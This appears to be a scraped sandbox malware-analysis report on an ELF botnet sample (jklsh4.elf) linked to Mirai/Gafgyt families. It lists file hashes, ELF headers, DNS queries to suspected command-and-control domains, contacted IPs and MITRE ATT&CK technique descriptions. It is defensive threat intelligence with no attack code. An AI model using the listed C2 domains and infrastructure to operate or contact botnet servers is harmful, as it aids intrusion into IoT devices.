205.176.146.153	unknown	United States	8103	STATE-OF-FLAUS	false
7.247.43.158	unknown	United States	3356	LEVEL3US	false
4.86.102.222	unknown	United States	3356	LEVEL3US	false
139.2.214.168	unknown	Germany	15486	MATERNA-ASDE	false
79.176.55.21	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	false
151.121.217.45	unknown	United States	4152	USDA-1US	false
197.45.213.27	unknown	Egypt	8452	TE-ASTE-ASEG	false
62.35.137.177	unknown	France	5410	BOUYGTEL-ISPFR	false
134.234.62.50	unknown	United States	1586	DNIC-ASBLK-01550-01601US	false
53.182.188.182	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
216.47.105.144	unknown	United States	397187	NHN-GLOBALUS	false
65.78.158.58	unknown	United States	14051	SUREWESTUS	false
130.246.118.165	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
177.140.198.168	unknown	Brazil	28573	CLAROSABR	false
103.64.125.182	unknown	China	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
166.188.100.194	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
89.183.195.98	unknown	Germany	13045	HTP-ASDE	false
68.6.183.12	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
94.74.121.2	unknown	Ukraine	34661	BREEZE-NETWORKUA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
166.142.7.11	2EVe9Yt2R8.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	splspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklx86.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zerarm.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	zerarm5.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	nklspc.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	zermips.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	zerx86.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BHN-33363US	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	72.185.234.214
	splm68k.elf	Get hash	malicious	Unknown	Browse	75.115.146.57
	jklppc.elf	Get hash	malicious	Unknown	Browse	72.187.36.53
	splsh4.elf	Get hash	malicious	Unknown	Browse	70.126.160.80
	jklarm7.elf	Get hash	malicious	Unknown	Browse	107.145.254.200
	nabarm.elf	Get hash	malicious	Unknown	Browse	70.126.184.78
	nabarm5.elf	Get hash	malicious	Unknown	Browse	97.96.200.101
	a.elf	Get hash	malicious	Unknown	Browse	107.145.98.246
	vjwe68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	184.92.29.144
	vejfa5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	184.88.216.56
POWERVIS-AS-KRLGPOWERCOMMKR	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	125.177.38.11
	nklppc.elf	Get hash	malicious	Unknown	Browse	182.227.135.171
	nklm68k.elf	Get hash	malicious	Unknown	Browse	119.68.76.176
	jklx86.elf	Get hash	malicious	Unknown	Browse	182.221.148.231
	splmpsl.elf	Get hash	malicious	Unknown	Browse	119.65.147.166
	nabmips.elf	Get hash	malicious	Unknown	Browse	116.43.93.142
	jklarm5.elf	Get hash	malicious	Unknown	Browse	182.212.232.213
	splarm7.elf	Get hash	malicious	Unknown	Browse	122.33.240.176
	nabarm5.elf	Get hash	malicious	Unknown	Browse	116.41.69.221
	splx86.elf	Get hash	malicious	Unknown	Browse	112.148.154.56
CELLCO-PARTUS	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	97.225.12.30
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	97.189.202.249
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	97.251.90.130
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	174.43.237.218
	splspc.elf	Get hash	malicious	Unknown	Browse	70.211.109.151
	nklx86.elf	Get hash	malicious	Unknown	Browse	97.207.180.164
	nklsh4.elf	Get hash	malicious	Unknown	Browse	97.158.142.167
	jklx86.elf	Get hash	malicious	Unknown	Browse	98.108.222.156
	nabarm7.elf	Get hash	malicious	Unknown	Browse	174.40.67.183
	jklm68k.elf	Get hash	malicious	Unknown	Browse	97.227.192.199
ETISALAT-MISREG	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	197.120.219.225
	nklspc.elf	Get hash	malicious	Unknown	Browse	217.52.12.229
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	105.88.109.99
	jklm68k.elf	Get hash	malicious	Unknown	Browse	41.65.235.157
	splsh4.elf	Get hash	malicious	Unknown	Browse	197.122.183.157
	splarm5.elf	Get hash	malicious	Unknown	Browse	102.62.123.201
	nabarm5.elf	Get hash	malicious	Unknown	Browse	156.163.2.37
	x.elf	Get hash	malicious	Unknown	Browse	154.238.225.163
	apep.m68k.elf	Get hash	malicious	Unknown	Browse	41.176.104.137
	jaws.elf	Get hash	malicious	Unknown	Browse	102.59.105.231

Process:	/tmp/jklsh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	3.2099179546931986
Encrypted:	false
SSDEEP:	6:URe6gDFKZdFT/VcDFmVVC/VDM/V+4D/VH:IefOFm0KMfF
MD5:	D7E7116913A2EB751E520AB880D81978
SHA1:	9C4E7F7702DE656F32774C07A789C59ACDB068E7
SHA-256:	3E3B05311ED030D5639DE062EE16668A40A45B4DD410BEA626FA0D19A56CDFD1
SHA-512:	D2FFC6B0E4190E00C2EB2E61480725A011E00AC513F63910909B3E33BEF7FEBD91250C78BC994FF30DEBCB974889D84160F3B74E356519EEA0A281EB0D7A29DD
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..41d000-41e000 rw-p 0000d000 fd:00 531606 /tmp/..41e000-420000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Source: jklsh4.elf	Virustotal: Detection: 31%			Perma Link
Source: jklsh4.elf	ReversingLabs: Detection: 36%

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.784119076957653
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklsh4.elf
File size:	55'492 bytes
MD5:	e422f23c58693205126b154196d024d8
SHA1:	efa27cd80e15c1ccada5a5c0de53702097df30ea
SHA256:	b31d22cb1050faa0328fe4f05f03f450bbaccdc4a983d85f058cee4296890280
SHA512:	f0ccb11e75c86ebdc1bf20e7e6a9b6bf452c0c1797fe7d234a2e3b026c5f5b576a983abede5414f2622d89bfc9ba3d4ae0f553beae246aeee7a508792597b681
SSDEEP:	1536:4aJwtkqyhWm+jD4Cr30S7f5/ao2hCPOzXbBRc:4mMyMrY+h/a5h9zXY
TLSH:	1E438DB7C82EADD4C50D1278A8318A756F13E10097561FF76A89C5E58043EACFA8D7F8
File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@...........................A...A.....@...........Q.td............................././"O.n........#.@........#.*@,....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	55052
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xc540	0x0	0x6	AX	32
.fini	PROGBITS	0x40c620	0xc620	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c644	0xc644	0xec2	0x0	0x2	A	4
.ctors	PROGBITS	0x41d50c	0xd50c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x41d514	0xd514	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x41d51c	0xd51c	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x41d520	0xd520	0x1a8	0x0	0x3	WA	4
.bss	NOBITS	0x41d6c8	0xd6c8	0x1284	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xd6c8	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xd506	0xd506	6.8272	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd50c	0x41d50c	0x41d50c	0x1bc	0x1440	2.3300	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2025 00:17:07.348891020 CET	192.168.2.15	51.158.108.203	0xf774	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:17:29.925683975 CET	192.168.2.15	194.36.144.87	0xf5d3	Standard query (0)	watchmepull.dyn. [malformed]	256	266	false
Mar 11, 2025 00:17:30.158830881 CET	192.168.2.15	194.36.144.87	0xf5d3	Standard query (0)	watchmepull.dyn. [malformed]	256	266	false
Mar 11, 2025 00:17:30.182389975 CET	192.168.2.15	194.36.144.87	0xf5d3	Standard query (0)	watchmepull.dyn. [malformed]	256	266	false
Mar 11, 2025 00:17:30.199940920 CET	192.168.2.15	194.36.144.87	0xf5d3	Standard query (0)	watchmepull.dyn. [malformed]	256	266	false
Mar 11, 2025 00:17:30.217905998 CET	192.168.2.15	194.36.144.87	0xf5d3	Standard query (0)	watchmepull.dyn. [malformed]	256	266	false
Mar 11, 2025 00:17:52.669312954 CET	192.168.2.15	185.181.61.24	0x96fb	Standard query (0)	watchmepull.dyn. [malformed]	256	288	false
Mar 11, 2025 00:17:52.706777096 CET	192.168.2.15	185.181.61.24	0x96fb	Standard query (0)	watchmepull.dyn. [malformed]	256	288	false
Mar 11, 2025 00:17:52.744287014 CET	192.168.2.15	185.181.61.24	0x96fb	Standard query (0)	watchmepull.dyn. [malformed]	256	288	false
Mar 11, 2025 00:17:52.781907082 CET	192.168.2.15	185.181.61.24	0x96fb	Standard query (0)	watchmepull.dyn. [malformed]	256	288	false
Mar 11, 2025 00:17:52.819078922 CET	192.168.2.15	185.181.61.24	0x96fb	Standard query (0)	watchmepull.dyn. [malformed]	256	288	false
Mar 11, 2025 00:18:15.251301050 CET	192.168.2.15	152.53.15.127	0xcaeb	Standard query (0)	watchmepull.dyn. [malformed]	256	311	false
Mar 11, 2025 00:18:15.275753975 CET	192.168.2.15	152.53.15.127	0xcaeb	Standard query (0)	watchmepull.dyn. [malformed]	256	311	false
Mar 11, 2025 00:18:15.299518108 CET	192.168.2.15	152.53.15.127	0xcaeb	Standard query (0)	watchmepull.dyn. [malformed]	256	311	false
Mar 11, 2025 00:18:15.318573952 CET	192.168.2.15	152.53.15.127	0xcaeb	Standard query (0)	watchmepull.dyn. [malformed]	256	311	false
Mar 11, 2025 00:18:15.342926025 CET	192.168.2.15	152.53.15.127	0xcaeb	Standard query (0)	watchmepull.dyn. [malformed]	256	311	false
Mar 11, 2025 00:18:37.746129990 CET	192.168.2.15	168.235.111.72	0x724d	Standard query (0)	watchmepull.dyn. [malformed]	256	333	false
Mar 11, 2025 00:18:37.836599112 CET	192.168.2.15	168.235.111.72	0x724d	Standard query (0)	watchmepull.dyn. [malformed]	256	333	false
Mar 11, 2025 00:18:37.926809072 CET	192.168.2.15	168.235.111.72	0x724d	Standard query (0)	watchmepull.dyn. [malformed]	256	334	false
Mar 11, 2025 00:18:38.015124083 CET	192.168.2.15	168.235.111.72	0x724d	Standard query (0)	watchmepull.dyn. [malformed]	256	334	false
Mar 11, 2025 00:18:38.108706951 CET	192.168.2.15	168.235.111.72	0x724d	Standard query (0)	watchmepull.dyn. [malformed]	256	334	false
Mar 11, 2025 00:19:00.625574112 CET	192.168.2.15	202.61.197.122	0xa4b2	Standard query (0)	watchmepull.dyn. [malformed]	256	356	false
Mar 11, 2025 00:19:00.644117117 CET	192.168.2.15	202.61.197.122	0xa4b2	Standard query (0)	watchmepull.dyn. [malformed]	256	356	false
Mar 11, 2025 00:19:00.662718058 CET	192.168.2.15	202.61.197.122	0xa4b2	Standard query (0)	watchmepull.dyn. [malformed]	256	356	false
Mar 11, 2025 00:19:00.680761099 CET	192.168.2.15	202.61.197.122	0xa4b2	Standard query (0)	watchmepull.dyn. [malformed]	256	356	false
Mar 11, 2025 00:19:00.698818922 CET	192.168.2.15	202.61.197.122	0xa4b2	Standard query (0)	watchmepull.dyn. [malformed]	256	356	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2025 00:17:07.364392996 CET	51.158.108.203	192.168.2.15	0xf774	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:17:07.364392996 CET	51.158.108.203	192.168.2.15	0xf774	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:17:07.364392996 CET	51.158.108.203	192.168.2.15	0xf774	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:17:07.364392996 CET	51.158.108.203	192.168.2.15	0xf774	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:17:07.364392996 CET	51.158.108.203	192.168.2.15	0xf774	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:17:30.157840967 CET	194.36.144.87	192.168.2.15	0xf5d3	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	266	false
Mar 11, 2025 00:17:30.181524038 CET	194.36.144.87	192.168.2.15	0xf5d3	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	266	false
Mar 11, 2025 00:17:30.199176073 CET	194.36.144.87	192.168.2.15	0xf5d3	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	266	false
Mar 11, 2025 00:17:30.217226982 CET	194.36.144.87	192.168.2.15	0xf5d3	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	266	false
Mar 11, 2025 00:17:30.251867056 CET	194.36.144.87	192.168.2.15	0xf5d3	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	266	false
Mar 11, 2025 00:18:15.274358988 CET	152.53.15.127	192.168.2.15	0xcaeb	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	311	false
Mar 11, 2025 00:18:15.298628092 CET	152.53.15.127	192.168.2.15	0xcaeb	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	311	false
Mar 11, 2025 00:18:15.317158937 CET	152.53.15.127	192.168.2.15	0xcaeb	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	311	false
Mar 11, 2025 00:18:15.341563940 CET	152.53.15.127	192.168.2.15	0xcaeb	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	311	false
Mar 11, 2025 00:18:15.360517025 CET	152.53.15.127	192.168.2.15	0xcaeb	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	311	false

Start time (UTC):	23:17:04
Start date (UTC):	10/03/2025
Path:	/tmp/jklsh4.elf
Arguments:	/tmp/jklsh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	23:17:05
Start date (UTC):	10/03/2025
Path:	/tmp/jklsh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	23:17:06
Start date (UTC):	10/03/2025
Path:	/tmp/jklsh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklsh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0B10h2 (deleted)

/tmp/qemu-open.0EJlp5 (deleted)

/tmp/qemu-open.0qPs70 (deleted)

/tmp/qemu-open.17Jmt1 (deleted)

/tmp/qemu-open.2RSV80 (deleted)

/tmp/qemu-open.2XBvf1 (deleted)

/tmp/qemu-open.4JuO64 (deleted)

/tmp/qemu-open.4ghWw1 (deleted)

/tmp/qemu-open.5VEqU0 (deleted)

/tmp/qemu-open.5dIZ84 (deleted)

/tmp/qemu-open.7gTRW0 (deleted)

/tmp/qemu-open.8orva3 (deleted)

/tmp/qemu-open.9PNak3 (deleted)

/tmp/qemu-open.ASUX44 (deleted)

/tmp/qemu-open.CYtax1 (deleted)

/tmp/qemu-open.EQzaY2 (deleted)

/tmp/qemu-open.ESdku4 (deleted)

/tmp/qemu-open.FYzQr3 (deleted)

/tmp/qemu-open.Fv2Xl5 (deleted)

/tmp/qemu-open.GQX1r4 (deleted)

/tmp/qemu-open.GWUno2 (deleted)

/tmp/qemu-open.GackB3 (deleted)

/tmp/qemu-open.Gzfxn3 (deleted)

/tmp/qemu-open.HDk250 (deleted)

/tmp/qemu-open.I0iYb3 (deleted)

/tmp/qemu-open.I34xV2 (deleted)

/tmp/qemu-open.I7XC40 (deleted)

/tmp/qemu-open.Ip9w52 (deleted)

/tmp/qemu-open.IzqbW4 (deleted)

/tmp/qemu-open.Jit3L4 (deleted)

/tmp/qemu-open.KD7mt2 (deleted)

/tmp/qemu-open.KftUT3 (deleted)

Linux Analysis Report
jklsh4.elf